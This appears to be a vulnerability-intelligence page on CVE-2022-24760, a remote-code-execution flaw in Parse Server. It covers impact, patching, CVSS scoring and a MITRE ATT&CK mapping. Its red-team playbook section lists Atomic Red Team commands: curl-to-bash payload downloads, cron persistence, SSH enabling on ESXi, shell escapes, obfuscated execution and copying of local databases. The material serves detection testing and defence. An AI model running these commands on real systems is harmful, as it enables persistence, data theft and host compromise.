CVE-2022-24760

CRITICAL POC TTE 19d Pub 11/03 Upd 22/04

Overview

This vulnerability is a prototype pollution flaw within the DatabaseController.js component of Parse Server, an open-source HTTP backend. The root cause lies in improper handling of object properties that allows an attacker to manipulate the prototype of base objects. This flaw affects the server's database abstraction layer, impacting MongoDB and potentially other supported backends like Postgres due to shared vulnerable code paths.

Vulnerability Description

Parse Server is an open source http web server backend. In versions prior to 4.10.7 there is a Remote Code Execution (RCE) vulnerability in Parse Server. This vulnerability affects Parse Server in the default configuration with MongoDB. The main weakness that leads to RCE is the Prototype Pollution vulnerable code in the file `DatabaseController.js`, so it is likely to affect Postgres and any other database backend as well. This vulnerability has been confirmed on Linux (Ubuntu) and Windows. Users are advised to upgrade as soon as possible. The only known workaround is to manually patch your installation with code referenced at the source GHSA-p6h4-93qp-jhcm.

Impact

An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code on the Parse Server host, leveraging prototype pollution to escalate privileges and execute commands with server-level access. Since the attack vector requires no user interaction and no privileges (AV:N/AC:L/PR:N/UI:N), it enables full compromise of the backend system. This can lead to complete data breach, service disruption, and lateral movement within affected environments.

Solution

Users must upgrade Parse Server to version 4.10.7 or later as detailed in the GitHub security advisory GHSA-p6h4-93qp-jhcm. If immediate upgrading is not feasible, the advisory provides a manual patch to address the prototype pollution flaw in DatabaseController.js. Refer to the official commit 886bfd7cac69496e3f73d4bb536f0eec3cba0e4d and the advisory page for step-by-step remediation instructions.

EPSS vs KEV Prediction — Evolution (30 days)

	Vendor	Product	Version	CPE
P	Parseplatform	Parse-Server	All	`cpe:2.3:a:parseplatform:parse-server::::::node.js::*`

Repository	Author	Stars	Forks	Date	Link
tuo4n8/CVE-2022-24760	tuo4n8	1	0	2022-03-31	View
PoC	-	0	0	-	View

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope

Initial Access

TA0001

Execution

TA0002

Persistence

TA0003

Priv. Escalation

TA0004

Defense Evasion

TA0005

Credential Access

TA0006

Lateral Movement

TA0008

Collection

TA0009

Impact

TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Remote Code Execution

86% rce

Code Injection

67% code_injection

OS Command Injection

49% command_injection

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID	Name	Stage	Tactics	Platforms
T1190	Exploit Public-Facing Application	Initial Access	initial-access	Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1053.003	Cron	Kill Chain	execution, persistence, privilege-escalation	Linux, macOS, ESXi
T1059.004	Unix Shell	Kill Chain	execution	ESXi, Linux, macOS, Network Devices
T1049	System Network Connections Discovery	Kill Chain	discovery	Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004	SSH	Kill Chain	lateral-movement	ESXi, Linux, macOS
T1005	Data from Local System	Kill Chain	collection	ESXi, Linux, macOS, Network Devices, Windows

CAPEC Attack Patterns ML

ID	Name	ML Conf.	Likelihood	Severity
CAPEC-180	Exploiting Incorrectly Configured Access Control Security Levels	40%	High	Medium
CAPEC-1	Accessing Functionality Not Properly Constrained by ACLs	30%	High	High
CAPEC-77	Manipulating User-Controlled Variables	30%	High	Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1005 Copy Apple Notes database files using AppleScript macOS Shell

This command will copy Apple Notes database files using AppleScript as seen in Atomic Stealer.

Command (Shell)

osascript -e 'tell application "Finder"' -e 'set destinationFolderPath to POSIX file "#{destination_path}"' -e 'set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"' -e 'set notesFolder to folder notesFolderPath' -e 'set notesFiles to {file "NoteStore.sqlite", file "NoteStore.sqlite-shm", file "NoteStore.sqlite-wal"} of notesFolder' -e 'repeat with aFile in notesFiles' -e 'duplicate aFile to folder destinationFolderPath with replacing' -e 'end' -e 'end tell'

T1005 Find and dump sqlite databases (Linux) Linux Bash

An adversary may know/assume that the user of a system uses sqlite databases which contain interest and sensitive data. In this test we download two databases and a sqlite dump script, then run a find command to find & dump the database content.

Command (Bash)

cd $HOME
curl -O #{remote_url}/art
curl -O #{remote_url}/gta.db
curl -O #{remote_url}/sqlite_dump.sh
chmod +x sqlite_dump.sh
find . ! -executable -exec bash -c 'if [[ "$(head -c 15 {} | strings)" == "SQLite format 3" ]]; then echo "{}"; ./sqlite_dump.sh {}; fi' \;

T1005 Search files of interest and save them to a single zip file (Windows) Windows PowerShell

This test searches for files of certain extensions and saves them to a single zip file prior to extraction.

Command (PowerShell)

$startingDirectory = "#{starting_directory}"
$outputZip = "#{output_zip_folder_path}"
$fileExtensionsString = "#{file_extensions}" 
$fileExtensions = $fileExtensionsString -split ", "

New-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-Null

Function Search-Files {
  param (
    [string]$directory
  )
  $files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {
    $fileExtensions -contains $_.Extension.ToLower()
  }
  return $files
}

$foundFiles = Search-Files -directory $startingDirectory
if ($foundFiles.Count -gt 0) {
  $foundFilePaths = $foundFiles.FullName
  Compress-Archive -Path $foundFilePaths -DestinationPath "$outputZip\data.zip"

  Write-Host "Zip file created: $outputZip\data.zip"
  } else {
      Write-Host "No files found with the specified extensions."
  }

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged

An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.

Command (PowerShell)

Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false

T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD

An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)

Command (CMD)

echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"

T1049 System Discovery using SharpView Windows PowerShell Privileged

Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.

Command (PowerShell)

$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}

T1049 System Network Connections Discovery Windows CMD

Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.

Command (CMD)

netstat -ano
net use
net sessions 2>nul

T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell

Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.

Command (Shell)

netstat
who -a

T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell

Enumerate TCP connections and map to owning process names via PowerShell.

Command (PowerShell)

Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize

T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell

Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.

Command (Shell)

sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true

T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash

List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.

Command (Bash)

if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi

T1049 System Network Connections Discovery with PowerShell Windows PowerShell

Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.

Command (PowerShell)

Get-NetTCPConnection

T1053.003 Cron - Add script to /etc/cron.d folder Linux Shell Privileged

This test adds a script to /etc/cron.d folder configured to execute on a schedule.

Command (Shell)

echo "#{command}" > /etc/cron.d/#{cron_script_name}

T1053.003 Cron - Add script to /var/spool/cron/crontabs/ folder Linux Bash Privileged

This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.

Command (Bash)

echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}

T1053.003 Cron - Add script to all cron subfolders Linux, macOS Bash Privileged

This test adds a script to /etc/cron.hourly, /etc/cron.daily, /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.

Command (Bash)

echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}

T1053.003 Cron - Replace crontab with referenced file Linux, macOS Shell

This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks.

Command (Shell)

crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}

T1059.004 Change login shell Linux Bash Privileged

An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.

Command (Bash)

[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art

T1059.004 Command line scripts Linux Shell

An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!

Command (Shell)

for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done

T1059.004 Command-Line Interface Linux, macOS Shell

Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.

Command (Shell)

curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash

T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell

Creates and executes a simple sh script.

Command (Shell)

sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}

T1059.004 Creating shell using cpan command Linux, macOS Shell

cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/

Command (Shell)

echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan

T1059.004 Current kernel information enumeration Linux Shell

An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.

Command (Shell)

uname -srm

T1059.004 Detecting pipe-to-shell Linux Shell

An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...

Command (Shell)

cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt

T1059.004 Environment variable scripts Linux Shell

An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash

Command (Shell)

export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh

T1059.004 Harvest SUID executable files Linux Shell

AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.

Command (Shell)

chmod +x #{autosuid}
bash #{autosuid}

T1059.004 LinEnum tool execution Linux Shell

LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.

Command (Shell)

chmod +x #{linenum}
bash #{linenum}

T1059.004 New script file in the tmp directory Linux Shell

An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...

Command (Shell)

TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE

T1059.004 Obfuscated command line scripts Linux Shell

An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...

Command (Shell)

[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART

T1059.004 Shell Creation using awk command Linux, macOS Shell

In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell

Command (Shell)

awk 'BEGIN {system("/bin/sh &")}'

T1059.004 Shell Creation using busybox command Linux Shell

BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...

Command (Shell)

busybox sh &

T1059.004 What shell is running Linux Shell

An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.

Command (Shell)

echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi

T1059.004 What shells are available Linux Shell

An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.

Command (Shell)

cat /etc/shells

T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged

emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/

Command (Shell)

sudo emacs -Q -nw --eval '(term "/bin/sh &")'

Title	Tags	URL
nvd.nist.gov	NVD reference	https://nvd.nist.gov/vuln/detail/CVE-2022-24760
github.com	GitHub CVE x_refsource_CONFIRM	https://github.com/parse-community/parse-server/security/advisories/GHSA-p6h4-93qp-jhcm
github.com	GitHub CVE x_refsource_MISC	https://github.com/parse-community/parse-server/commit/886bfd7cac69496e3f73d4bb536f0eec3cba0e4d
huntr.dev	GitHub CVE x_refsource_MISC	https://www.huntr.dev/bounties/ac24b343-e7da-4bc7-ab38-4f4f5cc9d099/

CVSS Analysis

CVSS v3.1

10.0

EXPLOITABILITY

Attack Vector

Network AV:N

Attack Complexity

Low AC:L

Privileges Required

None PR:N

User Interaction

None UI:N

SCOPE

Scope

Changed S:C

IMPACT

Confidentiality

High C:H

Integrity

High I:H

Availability

High A:H

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Attack Vectors

CWE

CWE-74

CWE-1321

Prioritization

KEV Prediction

3.0%

Percentile

42%

LEV

47.4%

SSVC

Decision

Attend

Exploitation

Poc

Automatable

Yes

Technical Impact

Total

Threat Level

CISA KEV

Exploited in Wild

Exploit Available

PoC Available

YES

Ransomware

CVE-2022-24760

Overview

Vulnerability Description

Impact

Solution

EPSS vs KEV Prediction — Evolution (30 days)

Affected Products (1)

Disclaimer

GitHub PoCs (2)

Threat Feed

Likely Kill Chain

Attack Vectors ML

MITRE ATT&CK Techniques (6)

CAPEC Attack Patterns ML

Red Team Playbook

Detection & Response Rules

References (4)